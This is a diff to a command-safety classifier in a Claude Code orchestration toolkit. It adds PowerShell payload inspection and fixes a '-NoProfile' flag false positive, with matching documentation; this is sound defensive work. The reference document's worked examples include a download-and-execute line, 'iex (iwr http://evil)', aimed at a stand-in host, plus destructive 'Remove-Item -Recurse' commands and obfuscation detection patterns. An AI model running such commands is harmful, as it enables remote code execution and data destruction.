+        # in chars`` on any >2-char single-dash token, so "-NoProfile"
+        # (P**rof**ile carries both r and f) was mis-read as "-rf" -- turning
+        # EVERY PowerShell invocation (Claude Code prepends ``-NoProfile``) into
+        # a spurious T3.  ``_is_posix_short_flag_cluster`` gates the branch so a
+        # word-flag no longer matches, while real packed bundles still do.
         elif len(token) > 2 and token[0] == "-" and token[1] != "-":
             flag_chars = token[1:]
-            if "r" in flag_chars and "f" in flag_chars:
-                found.append(token)
-            elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
-                found.append(token)
-            elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
-                found.append(token)
+            if _is_posix_short_flag_cluster(flag_chars):
+                if "r" in flag_chars and "f" in flag_chars:
+                    found.append(token)
+                elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
+                    found.append(token)
+                elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
+                    found.append(token)
 
     return tuple(found)
 
@@ -1645,6 +1769,22 @@ def detect_mutative_command(
     if py_module_result is not None:
         return py_module_result
 
+    # --- Step 1c-ps: PowerShell command / script introspection ---
+    # ``powershell.exe -Command "<script>"`` collapses its payload into a single
+    # opaque token, so the POSIX verb scanner never sees the cmdlets inside it --
+    # a destructive ``Remove-Item -Recurse`` slips through as safe-by-elimination
+    # while every benign PowerShell call is over-blocked.  Introspect the payload
+    # of ``-Command``/``-c`` (and ``-File <script.ps1>`` via its file contents),
+    # classify each cmdlet by its Verb-Noun verb against the approved-verb
+    # taxonomy, escalate the WHOLE payload to T3 on any change/unknown verb or
+    # obfuscation marker, and fall back to conservative T3 on an un-inspectable
+    # payload.  Returns None when the command is not a PowerShell interpreter.
+    ps_result = _check_powershell_command(
+        command, base_cmd, family, semantics, cwd=cwd, _depth=_depth,
+    )
+    if ps_result is not None:
+        return ps_result
+
     # --- Step 1d: Script-file analysis (python3 deploy.py, bash setup.sh, ./x) ---
     # An interpreter invoked with a script FILE as a positional argument, or a
     # direct ``./script`` invocation, hides its mutations inside the file --
@@ -2557,6 +2697,181 @@ def _resolve_script_argument(
     return None
 
 
+def _classify_powershell_verb(verb: str, noun: str) -> str:
+    """Classify a single PowerShell cmdlet by its Verb-Noun verb.
+
+    Returns one of ``"read"`` (non-mutative), ``"change"`` (mutative), or
+    ``"unknown"`` (verb in neither approved set -> conservative T3).  ``verb``
+    and ``noun`` are already lowercased.  The ``Out-*`` verb is split by noun:
+    ``Out-String``/``Out-Host``/``Out-Null`` render only (read), while
+    ``Out-File``/``Out-Printer`` write (change).
+    """
+    if verb == "out":
+        return "read" if noun in _PS_OUT_READ_NOUNS else "change"
+    if verb in _PS_READ_VERBS:
+        return "read"
+    if verb in _PS_CHANGE_VERBS:
+        return "change"
+    return "unknown"
+
+
+def _classify_powershell_payload(
+    payload: str, family: str, source: str,
+) -> MutativeResult:
+    """Classify a PowerShell script payload by cmdlet verb taxonomy.
+
+    ``payload`` is the raw text of a ``-Command`` string or a ``.ps1`` file.
+    Rules (all conservative / positive-allowlist):
+      1. Obfuscation markers (``iex``/``iwr``/``icm``, ``Invoke-Expression``,
+         a ``&``/``.`` call operator) escalate to T3 FIRST -- before the cmdlet
+         scan -- so a read cmdlet piped into ``iex`` cannot launder the payload.
+      2. Every Verb-Noun cmdlet is classified by its verb.  ANY change or
+         unknown verb escalates the WHOLE payload to T3 (composition mirror).
+      3. To drop BELOW T3 every cmdlet must be a read verb AND at least one
+         cmdlet must be present -- a payload with no recognizable cmdlet is
+         T3 (cannot prove it is read-only; no safe-by-elimination here).
+    """
+    # 1. Obfuscation / non-inspectable execution.
+    for rx in _PS_OBFUSCATION_RES:
+        if rx.search(payload):
+            return MutativeResult(
+                is_mutative=True,
+                category=CATEGORY_MUTATIVE,
+                verb="powershell-obfuscation",
+                cli_family=family,
+                confidence="high",
+                reason=(
+                    f"PowerShell {source} contains an obfuscation / "
+                    f"arbitrary-execution marker (iex / call-operator) "
+                    f"-- requires approval"
+                ),
+            )
+
+    # 2. Verb-Noun cmdlet scan.
+    matches = _PS_CMDLET_RE.findall(payload)
+    if not matches:
+        return MutativeResult(
+            is_mutative=True,
+            category=CATEGORY_MUTATIVE,
+            verb="powershell-uninspectable",
+            cli_family=family,
+            confidence="medium",
+            reason=(
+                f"PowerShell {source} has no recognizable Verb-Noun cmdlet "
+                f"-- cannot prove it is read-only (conservative default)"
+            ),
+        )
+
+    for verb, noun in matches:
+        v, n = verb.lower(), noun.lower()
+        kind = _classify_powershell_verb(v, n)
+        if kind == "change":
+            return MutativeResult(
+                is_mutative=True,
+                category=CATEGORY_MUTATIVE,
+                verb=f"{v}-{n}",
+                cli_family=family,
+                confidence="high",
+                reason=(
+                    f"PowerShell {source} invokes change cmdlet "
+                    f"'{verb}-{noun}' (verb '{verb}') -- requires approval"
+                ),
+            )
+        if kind == "unknown":
+            return MutativeResult(
+                is_mutative=True,
+                category=CATEGORY_MUTATIVE,
+                verb=f"{v}-{n}",
+                cli_family=family,
+                confidence="medium",
+                reason=(
+                    f"PowerShell {source} invokes cmdlet '{verb}-{noun}' whose "
+                    f"verb '{verb}' is not an approved read verb "
+                    f"(conservative default)"
+                ),
+            )
+
+    # 3. Every cmdlet is a read verb.
+    return MutativeResult(
+        is_mutative=False,
+        category=CATEGORY_READ_ONLY,
+        verb="powershell-read",
+        cli_family=family,
+        confidence="high",
+        reason=(
+            f"PowerShell {source}: all cmdlets are approved read verbs "
+            f"(Get/Measure/Select/... ) -- non-mutative"
+        ),
+    )
+
+
+def _check_powershell_command(
+    command: str, base_cmd: str, family: str, semantics: "CommandSemantics",
+    cwd: "Optional[str]" = None, _depth: int = 0,
+) -> "Optional[MutativeResult]":
+    """Classify a PowerShell invocation by introspecting its payload.
+
+    Recognizes ``powershell``/``powershell.exe``/``pwsh``/``pwsh.exe``.  The
+    payload source is, in priority order:
+      * ``-EncodedCommand <base64>`` -> T3 immediately (non-inspectable).
+      * ``-File <script.ps1>``       -> read the file and classify its contents
+        (unreadable -> conservative T3, mirroring the script-file lane).
+      * ``-Command``/``-c`` inline   -> classify the raw command text (the
+        interpreter flags carry no Verb-Noun cmdlet, so scanning the whole
+        string is safe and captures the payload regardless of quoting).
+      * no explicit payload flag      -> scan the whole command text anyway; a
+        bare interactive ``powershell`` with no cmdlet falls to conservative T3.
+
+    Returns ``None`` when ``base_cmd`` is not a PowerShell interpreter.
+    """
+    if base_cmd not in _POWERSHELL_INTERPRETERS:
+        return None
+
+    flag_tokens = set(semantics.flag_tokens)
+
+    # -EncodedCommand: base64 payload is not inspectable -> conservative T3.
+    if any(_is_ps_encoded_flag(f) for f in flag_tokens):
+        return MutativeResult(
+            is_mutative=True,
+            category=CATEGORY_MUTATIVE,
+            verb="powershell-encodedcommand",
+            cli_family=family,
+            confidence="high",
+            reason=(
+                "PowerShell invoked with -EncodedCommand (base64 payload) "
+                "-- cannot introspect the script, requires approval"
+            ),
+        )
+
+    # -File <script.ps1>: classify the referenced file's contents.  Routed off
+    # an actual ``.ps1`` positional rather than the ``-File``/``-f`` flag: the
+    # tokenizer normalizes a long single-dash flag into its single chars
+    # (``-NoProfile`` -> ``-n -o ... -f ...``), so a flag-set membership test for
+    # ``-f`` would false-positive on every ``-NoProfile`` invocation.  A ``.ps1``
+    # positional is the reliable, collision-free signal.
+    ps_files = [
+        t for t in semantics.non_flag_tokens if t.lower().endswith(".ps1")
+    ]
+    if ps_files:
+        content = _read_script_content(ps_files[0], cwd=cwd)
+        if content is None:
+            return MutativeResult(
+                is_mutative=True,
+                category=CATEGORY_MUTATIVE,
+                verb="powershell-file-unreadable",
+                cli_family=family,
+                confidence="medium",
+                reason=(
+                    f"PowerShell -File '{ps_files[0]}' is not a readable file "
+                    f"-- cannot verify the payload (conservative default)"
+                ),
+            )
+        return _classify_powershell_payload(content, family, "script file")
+
+    # -Command / -c inline, or no explicit payload flag: scan the command text.
+    return _classify_powershell_payload(command, family, "-Command payload")
+
+
 def _read_script_content(
     path: str, cwd: "Optional[str]" = None,
 ) -> "Optional[str]":

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@jaguilar87/gaia",
-  "version": "5.2.0-rc.1",
+  "version": "5.2.0-rc.3",
   "description": "Multi-agent orchestration system for Claude Code - DevOps automation toolkit",
   "main": "index.js",
   "type": "module",

package/pyproject.toml

@@ -1,6 +1,6 @@
 [project]
 name = "gaia"
-version = "5.2.0-rc.1"
+version = "5.2.0-rc.3"
 description = "Multi-agent orchestration system for Claude Code - DevOps automation toolkit"
 requires-python = ">=3.11"
 license = {text = "MIT"}

package/skills/gaia-patterns/reference.md

@@ -169,7 +169,8 @@ There is **no npm postinstall hook**. `package.json` carries an explicit `_insta
 4. Merge hooks from `hooks.json` into `settings.local.json`.
 5. Create `.claude/{agents, tools, hooks, config, skills}` symlinks (5) plus a `CHANGELOG.md` file link.
 6. Write `plugin-registry.json` with `installed[].name == "gaia"` (the single unified plugin identity).
-7. Write the `~/.local/bin/gaia` PATH launcher unless `--no-path`.
+7. Write the PATH launcher unless `--no-path`: POSIX still gets the `~/.local/bin/gaia` bash shim; Windows instead gets `gaia.cmd` + `gaia.ps1` (`_install_windows_launchers` / `_render_cmd_launcher` / `_render_ps1_launcher` in `bin/cli/install.py`), each baking in the resolved workspace and exporting `GAIA_WORKSPACE_PATH` before dispatching to `bin/gaia`. On Windows only, install ALSO warns (`_warn_launcher_shadowed` / `_launcher_path_precedence`) when `~/.local/bin` does not precede the npm prefix on PATH -- the npm shim would win and the launcher would be shadowed.
+8. **Windows only:** persist `GAIA_WORKSPACE_PATH` to the USER environment via `setx` (`_persist_workspace_env` in `bin/cli/install.py`). The launcher's export is process-scoped, so if npm's own `gaia.cmd` wins the PATH lookup the env var is never set and `doctor._derive_workspace` derives the npm prefix -> false CRITICAL. The persisted (durable, last-install-wins, single-valued) value makes the NEXT `gaia doctor` (a fresh process) resolve the workspace regardless of which `gaia` wins PATH. No-op on POSIX. When no workspace resolves and the env var is unset, `gaia doctor` emits a legible, actionable message naming both remedies (`--workspace <path>` or reinstall) instead of a raw CRITICAL.
 
 Note: no `project-context.json` is written. Project context lives in `~/.gaia/gaia.db`. Run `gaia scan` separately to populate it -- install never triggers a scan.
 

package/skills/security-tiers/SKILL.md

@@ -35,6 +35,8 @@ This mirrors `_classify_command_tier_cached` in `hooks/modules/security/tiers.py
 
 Conditional commands depend on flags: `git branch` is T0 for listing but T3 only with `-D` or `-M` (the force-delete and force-rename flags checked by `_scan_dangerous_flags`) or the long-form `--delete`. The lowercase short forms `-d` (delete) and `-m` (rename) are deliberately LEFT UNGATED -- this is an intentional design decision, not a classification gap. Git itself refuses `-d` on a branch with unmerged commits (it exits non-zero and demands the explicit `-D` override to force it through), so the safety check already lives inside git before Gaia's tier classification ever runs; gating a command git already declines to run unsafely would add friction without closing a real risk. The same split applies to `-m` vs `-M`: `-m` renames without clobbering an existing branch of the same name, while `-M` forces the rename and can silently overwrite it. So the free/gated line mirrors git's own safe/force distinction -- the safe verbs (`-d`, `-m`) stay free, the force verbs (`-D`, `-M`) are gated. Separately, the short force flag `-f` now escalates git to T3 across subcommands (`git` is in `F_FLAG_MEANS_FORCE` in `mutative_verbs.py`, mirroring the long-form `--force`): `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` are all T3. Without this, those slipped through as T0 because their subcommands live in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
 
+Packed short-flag heuristic (`_scan_dangerous_flags` -> `_is_posix_short_flag_cluster`): a single-dash multi-char token like `-rf`/`-rfi` is a bundle of single-character POSIX flags (`-r -f -i`), and the scanner escalates it when it packs a dangerous combination. That heuristic USED to test only "does the token contain both `r` and `f`?" on ANY `>2`-char single-dash token -- which mis-read the .NET/PowerShell/Java-style long word-flag `-NoProfile` (P**rof**ile carries both `r` and `f`) as if it were `-rf`, forcing EVERY PowerShell invocation (Claude Code prepends `-NoProfile`) to a spurious T3. The gate now fires only on a genuine packed bundle: short (`<= _MAX_POSIX_SHORT_FLAG_CLUSTER`, 4 chars), all letters, and with no CamelCase word boundary (`_CAMEL_WORD_RE`, an uppercase letter followed by a lowercase one). So `-rf`/`-rfi`/`-fv`/`-rv` still escalate, while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` no longer do -- for ANY CLI with single-dash word flags, not just PowerShell. Accepted trade-off: an uppercase-led bundle such as `-Rf` trips the CamelCase gate and is not matched here, deliberately -- the `-R`/`-r`/`-f` single flags are still caught by their exact-match handling, and killing the ubiquitous `-NoProfile` false positive is worth far more than the rare uppercase-packed form.
+
 KNOWN ASYMMETRY (documented, not changed): `--delete` is git's documented long-form synonym for `-d` -- both invoke the same safe, refuses-if-unmerged deletion -- yet `--delete` IS currently gated (`DELETE_FLAG_IS_DESTRUCTIVE` in `mutative_verbs.py` lists `git`) while `-d` is not (`DANGEROUS_FLAGS` has no entry for `-d`). Two spellings of the identical safe operation currently classify differently. This is a known, accepted inconsistency between the two flag forms -- flagged here for visibility, left as-is by design. For cloud-specific verb patterns (kubectl, terraform, gcloud, helm, flux), see `reference.md`.
 
 ## Enforcement anchors
@@ -44,6 +46,7 @@ The runtime, not this skill, enforces tiers. Three modules layer the decision:
 - `tiers.py` -- the `SecurityTier` enum (`T0_READ_ONLY`, `T1_VALIDATION`, `T2_DRY_RUN`, `T3_BLOCKED`) and `_classify_command_tier_cached` assign every command a tier.
 - `blocked_commands.py` -- pattern-matches irreversible commands and permanently denies them (exit 2, never approvable).
 - `mutative_verbs.py` -- CLI-agnostic detection of mutative verbs; drives the nonce / approval flow for T3. Includes script-file detection (Step 1d, `_check_script_file`): when a command is `<interpreter> <script-file>` (`python3 deploy.py`, `bash setup.sh`, `node migrate.js`) or `./script.ext`, the file is read and classified by its real invocations -- AST analysis for Python, the blocked/mutative regex layer for shells and other interpreters. A script that is missing, unreadable, or whose interpreter is unrecognized defaults to T3 (conservative). This prevents the evasion path where `<interp> <file>` bypasses the verb scanner because the filename token has no recognizable subcommand. A RELATIVE script token is resolved against the `cd` TARGET of its command chain, NOT the hook's own cwd: `detect_mutative_command` peels a leading `cd <dir>` chain (`_peel_leading_cd`, on `&&` / `;`, `||` excluded) and threads the resulting `cwd` into `_read_script_content`; the compound validator (`bash_validator._validate_compound_command`) additionally folds the cwd across the SEPARATE components a chain splits into (via `cwd_after_component`), so `cd /repo && node engine/build.mjs` reads `/repo/engine/build.mjs` and classifies at its true tier instead of a false `script-file-unreadable` T3. Gaia governs arbitrary workspaces, so this must not assume the install dir; when no `cd` is present the process cwd is still used, and a path that is unreadable AFTER honoring the `cd` keeps the conservative T3 fallback. Before reading the body, `_check_script_file` first checks `_INTERP_SYNTAX_CHECK_FLAGS`: a leading syntax-check-only flag (`bash -n`, `sh -n`, `node --check` / `node -c`) that precedes the script positional never executes the script, so the invocation downgrades to T0 without reading the file's contents at all -- a flag appearing after the script positional is an argument to the script and does not qualify. One narrowly-scoped script is re-dispatched rather than AST-scanned: the Gaia CLI dispatcher `bin/gaia` (recognized by basename `gaia` + parent dir `bin` + a body signature, via `_check_gaia_cli_dispatcher`) has its own `subprocess.run(...)` for the lazy DB bootstrap, which AST analysis would flag as mutative -- turning EVERY `python3 <path>/bin/gaia <subcmd>` into a false T3, including read-only subcommands (`doctor`, `release check`, dry-runs). Instead the tokens after the script positional are reconstructed as `gaia <subcmd> ...` and re-classified through the normal engine, so the form classifies IDENTICALLY to the installed launcher form `gaia <subcmd>` (`dev` stays T3 via `COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES`, `install` T3 via `MUTATIVE_VERBS`, read-only subcommands T0). This mirrors the `python3 -m pip install` -> `pip install` re-dispatch and is NOT a general subprocess.run bypass -- an unrelated `bin/gaia` without the signature is still AST-scanned. Step 1e (`_check_npm_script_runner`) applies the same real-effect standard to npm: `npm run <script>` is resolved to its `package.json` `scripts.<script>` body (the `package.json` is read under the same `cd`-honored cwd, so `cd /repo && npm run build` reads `/repo/package.json`) and that body is classified by the same regex engine used for script files (an unresolvable body -- missing/unparseable `package.json` or absent entry -- falls back to conservative T3), while `npm ci` is unconditionally mutative (T3) because it rewrites `node_modules` regardless of the verb taxonomy. Non-shell source files (`.js`/`.mjs`/`.cjs`/`.rb`/`.pl`/`.php`) route through the **"code" lane**, which splits by language. Each of the four registered families -- the JS family (`.js`/`.mjs`/`.cjs`, or a `node` interpreter token), plus php (`.php`/`php`), ruby (`.rb`/`ruby`), and perl (`.pl`/`.pm`/`perl`) -- resolves a `LanguageSpec` via `source_lexer.spec_for_script` and is classified by `_classify_source_with_lexer`; a language with no registered spec (`spec_for_script` returns `None`) falls through to the older regex lane, `_classify_script_content_by_regex` with `from_source_code=True`. For any lexed family, `source_lexer.strip_source` runs a single left-to-right state machine over the file and produces two line-aligned projections: `verb_view` (comments blanked, string/template-literal CONTENTS blanked) and `exec_view` (comments blanked, string CONTENTS KEPT). `_classify_source_with_lexer` then runs, per line: (1) `is_blocked_command` on `verb_view` as a defense-in-depth safety net for a permanently-blocked pattern; (2) `_scan_exec_sink_string_args` on `exec_view` with `shell_backticks=spec.backticks_are_exec` -- `JS_SPEC.backticks_are_exec` is `False`, because a JS backtick delimits a template literal, not shell execution, so backtick/`%x{}` bodies are NOT treated as exec sinks for JS. Deliberately **not** run for JS: the whole-token mutative-verb scan (`detect_mutative_command`) that the regex lane uses -- in JS a bare word at subcommand position is a language identifier, not a CLI subcommand (`const label = ...`, `let close = ...`), and the scan caught no real JS mutation, only these identifier collisions, so it is removed entirely for this lane rather than merely down-weighted. A real JS mutation still reaches the shell through an exec sink whose argument is a string literal (`execSync("kubectl delete ...")`), which `exec_view` preserves (including `${…}` interpolation) and re-classifies, so removing the whole-token scan does not open a false negative. Ruby/perl/php are now comment/string-aware exactly like JS: each resolves its own `LanguageSpec` (`RUBY_SPEC`/`PERL_SPEC`/`PHP_SPEC`) and routes through `_classify_source_with_lexer`, closing the false-T3 class where a mutative verb mentioned only inside a comment (`php` with `// update the user cache`, ruby `=begin ... delete ... =end`, perl POD) was read as an invocation. Their comment grammars exceed JS's `//` + `/* */`, so the spec carries three extensions (all defaulting off, leaving `JS_SPEC` unchanged): `extra_line_comments` for PHP's second line marker `#` alongside `//`; `line_block_comments` for Ruby's column-0 `=begin`/`=end`; and `pod_style` for Perl POD (a line starting with `=`+letter, closed by `=cut`). Heredocs (`<<<`/`<<~`) and `q{}`/`qq{}` string forms are an accepted limitation that can only cost a residual false positive, never a false negative. Crucially, unlike `JS_SPEC`, these three specs set `backticks_are_exec=True` and do NOT list the backtick in `string_quotes`: a ruby/perl/php backtick body -- and Ruby's `%x{}` -- is left verbatim in the exec view and re-classified as a shell command (`_EXEC_SINK_BACKTICK_RE`/`_EXEC_SINK_PERCENT_X_RE`, `shell_backticks=True`), since a backtick in these languages IS shell execution. This preserves the exec detection the old regex lane had (`system()`/`shell_exec()`/backticks/`%x{}` still classify T3) while dropping the whole-token verb scan, which -- as in JS -- produced only language-identifier collisions and caught no real mutation (those go through exec sinks). Because the quote making a command one token would otherwise hide a mutation passed to a subprocess as a string literal, `_scan_exec_sink_string_args` is one detector shared across three callers -- the inline `-c`/`-e` path, the shell/other-language regex code lane, and the (JS/ruby/perl/php) lexer lane: the command handed to an exec sink (`execSync`/`execFile`/`spawn`/`system`/`shell_exec`/`passthru`/backticks/`%x{}`, backticks gated by `shell_backticks`) is extracted and re-classified, escalating to T3 **only when the inner command is itself mutative or blocked** (so `execSync("kubectl delete ...")` is T3 while a benign `execSync("ls")` stays T0 -- the false-positive gate). This makes `node deploy.js` classify identically to `node -e "..."`. Residual accepted-limitation: the general case -- a mutation assembled by string concatenation, variable interpolation, or base64, or passed to a sink not in the exec-sink set -- is not detected by static classification; the exec-sink slice is the bounded, low-false-positive portion that is closed.
+- `mutative_verbs.py` (PowerShell lane, Step 1c-ps, `_check_powershell_command`) -- the POSIX verb scanner is blind to the Windows/.NET shell: `powershell.exe -Command "<script>"` collapses its payload into one opaque token, so a destructive `Remove-Item -Recurse` inside it slipped through as safe-by-elimination (a false NEGATIVE). This lane mirrors `_INLINE_CODE_MAP` / `_check_script_file` for `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe`: it introspects the payload of `-Command`/`-c` (scanning the whole command text -- the interpreter flags carry no Verb-Noun cmdlet, so this is collision-free) and of `-File <script.ps1>` (read via `_read_script_content` under the `cd`-honored cwd; unreadable -> conservative T3, mirroring the script-file lane). Each cmdlet is classified by its Verb-Noun VERB (the part before the hyphen) against PowerShell's approved-verb taxonomy: `_PS_READ_VERBS` (get/measure/select/where/sort/compare/test/resolve/find/search/show/format/convertfrom/convertto/... -> read) vs `_PS_CHANGE_VERBS` (set/new/remove/clear/move/copy/rename/start/stop/invoke/... -> T3); the ambiguous `Out-*` verb splits by noun (`Out-String`/`Out-Host`/`Out-Null` read, `Out-File`/`Out-Printer` change). Three security rules keep it conservative, NOT permissive: (1) composition -- ANY change/unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (`Get-ChildItem; Remove-Item x` is T3, not T0 by first-cmdlet); (2) obfuscation -- `iex`/`iwr`/`icm`, `Invoke-Expression`, `&`/`.` call operators (`_PS_OBFUSCATION_RES`), and `-EncodedCommand <base64>` (`_is_ps_encoded_flag`) are T3 regardless of surrounding cmdlets, checked FIRST so a read cmdlet piped into `iex` cannot launder the payload; (3) positive allowlist -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable cmdlet must be present; a payload with no recognizable Verb-Noun cmdlet (or any unknown verb) stays T3 (default-deny fallback, mirroring an unreadable script file). Because the verb taxonomy classifies by verb rather than a per-cmdlet list, a never-before-seen cmdlet is classified correctly (`Get-FooBar` -> read, `Set-FooBar` -> T3) with no allow-list to maintain. Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias not in the obfuscation set is not name-resolved.
 - `composition_rules.py` -- `check_composition` / `classify_stage` classify pipe compositions (FILE_READ→EXEC_SINK, network→exec, decode→exec); triggers T3 on dangerous pipelines such as `file_to_exec`.
 - `flag_classifiers.py` -- `_classify_curl` / `classify_by_flags` detect flag-dependent mutations; triggers T3 on commands whose flags make them mutative (e.g., `curl -X POST`).
 

package/skills/security-tiers/reference.md

@@ -30,6 +30,7 @@ Read on-demand by infrastructure agents. Not injected automatically.
 
 - `git branch` -- T0 for listing (no args or `--list`); T3 only with `-D` (force-delete), `-M` (force-rename), or the long-form `--delete`. The lowercase `-d` (delete -- git refuses on unmerged branches) and `-m` (plain rename) are intentionally left ungated: they are the safe counterparts of the same operations, and gating them would add a consent prompt for something git itself already refuses to do unsafely. `--move` (git's long form of `-m`, a plain rename) IS a recognized git flag but, like `-m`, is intentionally left ungated -- it is the safe counterpart of `-M`. Known asymmetry: `--delete` (long form of `-d`) IS gated even though it performs the identical safe deletion `-d` performs -- see `SKILL.md` for the full rationale and this documented (not fixed) inconsistency.
 - Short force flag `-f` on git -- T3 across subcommands. `git` is in `F_FLAG_MEANS_FORCE` (`mutative_verbs.py`), mirroring the long-form `--force`, so `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` all escalate to T3. Previously these slipped through as T0 because their subcommands are in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
+- Packed short-flag bundle (`-rf`, `-rfi`, `-fv`) -- T3 when it packs a dangerous single-char combination. `_scan_dangerous_flags` treats a single-dash multi-char token as a bundle of one-char POSIX flags and escalates `r`+`f` (always), `f` (force CLIs), or `r` (recursive-delete CLIs). It is gated by `_is_posix_short_flag_cluster` so only a GENUINE bundle qualifies -- short (<= 4 chars), all letters, no CamelCase word boundary (`_CAMEL_WORD_RE`). This is the fix for the false positive where the .NET/PowerShell/Java-style long word-flag `-NoProfile` (contains `r` and `f`) was mis-read as `-rf` and forced every PowerShell command to T3. Now `-rf`/`-rfi`/`-fv` still escalate while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` do not, for any CLI with single-dash word flags. Accepted trade-off: an uppercase-led `-Rf` also trips the CamelCase gate and is not matched here (the single `-R`/`-r`/`-f` exact-match handling still catches those).
 
 ### T3 -- Realization
 
@@ -41,6 +42,37 @@ Read on-demand by infrastructure agents. Not injected automatically.
 
 Note: `git commit` and `git add` are **not** T3. They are local-only (working tree + local refs, never remote), classified safe by elimination via `GIT_LOCAL_SAFE_SUBCOMMANDS` in `mutative_verbs.py`. Only `git push` reaches remote state.
 
+## PowerShell / Windows shell lane
+
+The classifier is NOT bash/POSIX-only. `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe` route through a dedicated lane (`_check_powershell_command`, Step 1c-ps in `detect_mutative_command`) that introspects the payload the POSIX verb scanner cannot see -- `-Command "<script>"` collapses into one opaque token, so before this lane a destructive `Remove-Item -Recurse` classified T0 (a false negative) while `-NoProfile` forced everything to T3 (a false positive).
+
+**Payload source (priority order):**
+1. `-EncodedCommand <base64>` (any prefix of "encodedcommand", or `ec`, via `_is_ps_encoded_flag`) -- T3 immediately; the base64 blob is not inspectable.
+2. `-File <script.ps1>` -- a `.ps1` positional is read (`_read_script_content`, honoring a leading `cd`) and its contents classified; unreadable -> conservative T3, mirroring the script-file lane. Routed off the `.ps1` positional, NOT the `-File`/`-f` flag, because flag normalization splits `-NoProfile` into single chars including `-f`.
+3. `-Command`/`-c` inline (or no explicit flag) -- the whole command text is scanned; the interpreter flags carry no Verb-Noun cmdlet, so scanning the full string is collision-free.
+
+**Verb-Noun taxonomy** -- each cmdlet is classified by its VERB (the token before the hyphen), so a never-seen cmdlet is classified correctly with no per-cmdlet list:
+
+- `_PS_READ_VERBS` (-> read, non-mutative): `Get-*`, `Measure-*`, `Select-*`, `Where-*`, `Sort-*`, `Compare-*`, `Test-*`, `Resolve-*`, `Find-*`, `Search-*`, `Show-*`, `Format-*`, `ConvertFrom-*`, `ConvertTo-*`, `Group-*`, `Join-*`, `Split-*`, `Read-*`.
+- `_PS_CHANGE_VERBS` (-> T3): `Set-*`, `New-*`, `Remove-*`, `Clear-*`, `Add-*`, `Move-*`, `Copy-*`, `Rename-*`, `Start-*`, `Stop-*`, `Restart-*`, `Suspend-*`, `Resume-*`, `Register-*`, `Unregister-*`, `Install-*`, `Uninstall-*`, `Import-*`, `Export-*`, `Write-*`, `Enable-*`, `Disable-*`, `Mount-*`, `Dismount-*`, `Invoke-*`, `Push-*`, `Pop-*`, `Save-*`, `Publish-*`, `Send-*`, `Update-*`, `Edit-*`, `Reset-*`, `Limit-*`, `Block-*`.
+- Ambiguous `Out-*` splits by noun (`_PS_OUT_READ_NOUNS`): `Out-String`/`Out-Host`/`Out-Null`/`Out-Default`/`Out-GridView` are read; `Out-File`/`Out-Printer` are change.
+
+**Three conservative security rules (default-deny, not permissive):**
+1. **Composition** -- ANY change or unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (mirror of composition_rules "any mutative stage -> T3"). `Get-ChildItem; Remove-Item x -Recurse` is T3, not T0-by-first-cmdlet.
+2. **Obfuscation** -- checked FIRST, before the cmdlet scan, so a read cmdlet piped into an exec sink cannot launder the payload: `iex`/`iwr`/`icm`, `Invoke-Expression`, and `&`/`.` call operators at a statement boundary (`_PS_OBFUSCATION_RES`) all force T3.
+3. **Positive allowlist** -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable Verb-Noun cmdlet must be present. A payload with no recognizable cmdlet, or any unknown/unresolvable verb, stays T3 (conservative fallback, identical to an unreadable script file). No safe-by-elimination in this lane.
+
+**Worked examples (probe-confirmed on Linux -- the classifier operates on the command string, OS-independent):**
+- `powershell.exe -NoProfile -Command "Get-ChildItem . | Measure-Object | Select-Object Count"` -> T0 (all read verbs).
+- `powershell.exe -Command "Remove-Item -Recurse foo"` and the same without `-NoProfile` -> T3 (change verb `Remove`).
+- `powershell.exe -Command "Get-ChildItem; Remove-Item x -Recurse"` -> T3 (composition).
+- `powershell.exe -Command "iex (iwr http://evil)"` -> T3 (obfuscation).
+- `powershell.exe -EncodedCommand aGVsbG8=` -> T3 (non-inspectable base64).
+- `powershell.exe -Command "Frobnicate-Widget"` -> T3 (unknown verb, default-deny).
+- `pwsh -c "Get-Process"` -> T0 (read verb `Get`).
+
+Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias outside the obfuscation set (e.g. `del`/`rm` aliases) is not name-resolved -- these are handled by the default-deny fallback, not by name.
+
 ## Edge Cases
 
 - **Compound subcommands that look mutative:** verbs like `merge-base` split on the hyphen to `merge`, which is a mutative verb -- but `git merge-base` is read-only. The detector in `mutative_verbs.py` carries an allow-list of read-only compound subcommands so they are not falsely flagged T3.